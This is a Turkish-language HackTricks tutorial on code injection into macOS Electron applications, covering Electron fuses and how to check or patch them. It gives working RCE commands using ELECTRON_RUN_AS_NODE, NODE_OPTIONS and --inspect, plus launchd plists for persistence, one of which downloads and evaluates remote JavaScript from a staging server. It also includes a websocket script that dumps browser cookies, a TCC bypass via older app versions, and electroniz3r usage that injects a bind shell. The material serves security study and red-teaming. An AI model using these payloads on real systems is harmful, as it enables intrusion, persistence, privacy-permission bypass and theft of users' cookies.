macOS Electron Uygulamaları Enjeksiyonu
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Eğer Electron'un ne olduğunu bilmiyorsanız burada çok fazla bilgi bulabilirsiniz. Ama şimdilik sadece Electron'un node çalıştırdığını bilin.
Ve node'un belirtilen dosyanın dışında başka kodlar çalıştırmak için kullanılabilecek bazı parametreleri ve env değişkenleri vardır.
Electron Füzeleri
Bu teknikler bir sonraki bölümde tartışılacak, ancak son zamanlarda Electron birkaç güvenlik bayrağı ekledi. Bunlar Electron Füzeleri ve bunlar macOS'taki Electron uygulamalarının rastgele kod yüklemesini önlemek için kullanılanlardır:
RunAsNode
: Devre dışı bırakıldığında, kod enjeksiyonu içinELECTRON_RUN_AS_NODE
env değişkeninin kullanılmasını engeller.EnableNodeCliInspectArguments
: Devre dışı bırakıldığında,--inspect
,--inspect-brk
gibi parametreler dikkate alınmayacaktır. Bu şekilde kod enjeksiyonunu önler.EnableEmbeddedAsarIntegrityValidation
: Etkinleştirildiğinde, yüklenenasar
dosyası macOS tarafından doğrulanacaktır. Bu şekilde bu dosyanın içeriğini değiştirerek kod enjeksiyonunu önler.OnlyLoadAppFromAsar
: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine:app.asar
,app
ve son olarakdefault_app.asar
. Sadece app.asar'yı kontrol edecek ve kullanacak, böyleceembeddedAsarIntegrityValidation
füzesi ile birleştirildiğinde doğrulanmamış kodun yüklenmesi imkansız hale gelecektir.LoadBrowserProcessSpecificV8Snapshot
: Etkinleştirildiğinde, tarayıcı süreci V8 anlık görüntüsü içinbrowser_v8_context_snapshot.bin
adlı dosyayı kullanır.
Kod enjeksiyonunu önlemeyecek başka ilginç bir fuse ise:
- EnableCookieEncryption: Etkinleştirildiğinde, disk üzerindeki çerez deposu OS düzeyinde kriptografi anahtarları kullanılarak şifrelenir.
Electron Füzelerini Kontrol Etme
Bir uygulamadan bu bayrakları kontrol edebilirsiniz:
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Electron Füzelerini Değiştirme
As the docs mention, the configuration of the Electron Fuses are configured inside the Electron binary which contains somewhere the string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
.
In macOS applications this is typically in application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
Bu dosyayı https://hexed.it/ adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin ardından, her bir sigortanın devre dışı mı yoksa etkin mi olduğunu gösteren ASCII'de "0" veya "1" sayısını görebilirsiniz. Sigorta değerlerini değiştirmek için hex kodunu (0x30
0
ve 0x31
1
'dir) değiştirin.
Eğer bu baytları değiştirilmiş olarak bir uygulamanın Electron Framework
ikili dosyasını üst üste yazmaya çalışırsanız, uygulama çalışmayacaktır.
RCE, Electron Uygulamalarına Kod Ekleme
Bir Electron Uygulamasının kullandığı harici JS/HTML dosyaları olabilir, bu nedenle bir saldırgan, imzasının kontrol edilmeyeceği bu dosyalara kod enjekte edebilir ve uygulama bağlamında rastgele kod çalıştırabilir.
caution
Ancak, şu anda 2 sınırlama vardır:
- Bir Uygulamayı değiştirmek için
kTCCServiceSystemPolicyAppBundles
izni gerekir, bu nedenle varsayılan olarak bu artık mümkün değildir. - Derlenmiş
asap
dosyası genellikleembeddedAsarIntegrityValidation
ve
onlyLoadAppFromAsar
sigortalarınıetkin
olarak içerir.
Bu da bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
kTCCServiceSystemPolicyAppBundles
gereksinimini, uygulamayı başka bir dizine (örneğin /tmp
) kopyalayarak, klasörü app.app/Contents
olarak yeniden adlandırarak, zararlı kodunuzla asar dosyasını değiştirerek, tekrar app.app/Contents
olarak adlandırarak ve çalıştırarak atlatmanın mümkün olduğunu unutmayın.
Asar dosyasından kodu çıkarmak için:
npx asar extract app.asar app-decomp
Ve değiştirdikten sonra tekrar paketleyin:
npx asar pack app-decomp app-new.asar
RCE with ELECTRON_RUN_AS_NODE
Belgeler'e göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır.
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
caution
Eğer RunAsNode
sigortası devre dışı bırakılırsa, env var ELECTRON_RUN_AS_NODE
göz ardı edilecek ve bu çalışmayacaktır.
Uygulama Plist'inden Enjeksiyon
burada önerildiği gibi, bu env değişkenini bir plist içinde kötüye kullanarak kalıcılığı sağlamak mümkün olabilir:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE with NODE_OPTIONS
Yükü farklı bir dosyada saklayabilir ve çalıştırabilirsiniz:
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
caution
Eğer sigorta EnableNodeOptionsEnvironmentVariable
devre dışı bırakılmışsa, uygulama NODE_OPTIONS ortam değişkenini başlatıldığında yoksayacaktır, eğer ortam değişkeni ELECTRON_RUN_AS_NODE
ayarlanmamışsa, bu da devre dışı bırakılmışsa yoksayılacaktır.
Eğer ELECTRON_RUN_AS_NODE
ayarlamazsanız, hata ile karşılaşacaksınız: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
Uygulama Plist'inden Enjeksiyon
Bu ortam değişkenini bir plist içinde kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE ile inceleme
According to this, eğer --inspect
, --inspect-brk
ve --remote-debugging-port
gibi bayraklarla bir Electron uygulaması çalıştırırsanız, bir debug portu açılacaktır böylece ona bağlanabilirsiniz (örneğin chrome://inspect
üzerinden Chrome'dan) ve ona kod enjekte edebilir veya hatta yeni süreçler başlatabilirsiniz.
For example:
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
caution
Eğer EnableNodeCliInspectArguments
sigortası devre dışı bırakılmışsa, uygulama node parametrelerini (örneğin --inspect
) başlatıldığında göz ardı edecektir, eğer ortam değişkeni ELECTRON_RUN_AS_NODE
ayarlanmamışsa, bu da göz ardı edilecektir eğer sigorta RunAsNode
devre dışı bırakılmışsa.
Ancak, electron parametresi --remote-debugging-port=9229
kullanarak hala bazı bilgileri çalmak mümkündür, örneğin geçmiş (GET komutları ile) veya tarayıcının çerezleri (çünkü bunlar tarayıcı içinde şifresi çözülmüş durumdadır ve bunları verecek bir json uç noktası vardır).
Bunu nasıl yapacağınızı burada ve burada öğrenebilirsiniz ve otomatik aracı WhiteChocolateMacademiaNut veya şöyle basit bir script kullanabilirsiniz:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
Bu blog yazısında, bu hata ayıklama, başsız bir chrome'un rastgele dosyaları rastgele konumlara indirmesi için kötüye kullanılıyor.
Uygulama Plist'inden Enjeksiyon
Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCC Bypass eski sürümleri istismar etme
tip
macOS'taki TCC daemon, uygulamanın yürütülen sürümünü kontrol etmez. Bu nedenle, bir Electron uygulamasına kod enjekte edemiyorsanız önceki tekniklerden herhangi biriyle, APP'nin önceki bir sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemediği sürece).
JS Dışı Kod Çalıştırma
Önceki teknikler, electron uygulamasının sürecinde JS kodu çalıştırmanıza izin verecektir. Ancak, çocuk süreçlerin ana uygulama ile aynı sandbox profilinde çalıştığını ve TCC izinlerini miras aldığını unutmayın.
Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, sadece süreçten başka bir ikili dosya çalıştırabilirsiniz.
Otomatik Enjeksiyon
electroniz3r aracı, kurulu savunmasız electron uygulamalarını bulmak ve bunlara kod enjekte etmek için kolayca kullanılabilir. Bu araç, --inspect
tekniğini kullanmaya çalışacaktır:
Kendiniz derlemeniz gerekiyor ve bunu şu şekilde kullanabilirsiniz:
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
Referanslar
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.